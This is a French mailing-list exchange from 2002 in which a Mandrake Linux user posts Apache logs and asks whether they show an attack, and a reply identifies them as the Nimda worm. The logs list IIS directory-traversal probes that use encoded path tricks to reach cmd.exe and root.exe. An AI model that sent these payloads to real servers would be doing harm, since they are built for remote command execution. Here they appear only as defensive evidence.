cette page qui est sur 193.253.226.194 virus scan detecte W32/Nimda.htm -----Message d'origine----- De : [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] De la part de Alain F. Envoy� : dimanche 13 janvier 2002 22:58 � : Liste Mdk confirm� Objet : [Confirme] Attaque d'Apache ?
Bonsoir, Les logs d'Apache ci-dessous montrent que des tentatives de recherches de fichiers Windows se font sur mon Linux Mandrake 8.1. Les IP sont celles de France-T�l�com. Ce serveur n'�tait pas cens� fournir des pages sur Internet mais seulement en intranet. Il �tait ouvert sur l'ext�rieur � des fins de tests. Depuis, je l'ai verrouill� et en ai profit� pour installer Bastille. Pour mon information personnelle, s'agit-il d'une tentative d'attaque ou d'une requ�te normale de FT (je doute) ? Merci pour vos lumi�res. AF 193.253.226.194 - - [11/Jan/2002:21:20:14 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 300 "-" "-" 193.253.226.194 - - [11/Jan/2002:21:20:22 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 298 "-" "-" 193.253.226.194 - - [11/Jan/2002:21:20:26 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 308 "-" "-" 193.253.226.194 - - [11/Jan/2002:21:20:29 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 308 "-" "-" 193.253.226.194 - - [11/Jan/2002:21:20:33 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322 "-" "-" 193.253.226.194 - - [11/Jan/2002:21:20:38 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/ 1.0" 404 339 "-" "-" 193.253.226.194 - - [11/Jan/2002:21:20:47 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/ 1.0" 404 339 "-" "-" 193.253.226.194 - - [11/Jan/2002:21:20:58 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winn t/s ystem32/cmd.exe?/c+dir HTTP/1.0" 404 355 "-" "-" 193.253.226.194 - - [11/Jan/2002:21:21:03 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321 "-" "-" 193.253.226.194 - - [11/Jan/2002:21:21:06 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321 "-" "-" 193.253.226.194 - - [11/Jan/2002:21:21:10 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321 "-" "-" 193.253.226.194 - - [11/Jan/2002:21:21:15 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321 "-" "-" 193.253.226.194 - - [11/Jan/2002:21:21:19 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 305 "-" "- " 193.253.226.194 - - [11/Jan/2002:21:21:30 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 305 "-" "-" 193.253.226.194 - - [11/Jan/2002:21:21:36 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322 "-" "-" 193.253.226.194 - - [11/Jan/2002:21:21:40 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322 "-" "-"
Vous souhaitez acquerir votre Pack ou des Services MandrakeSoft? Rendez-vous sur "http://www.mandrakestore.com";
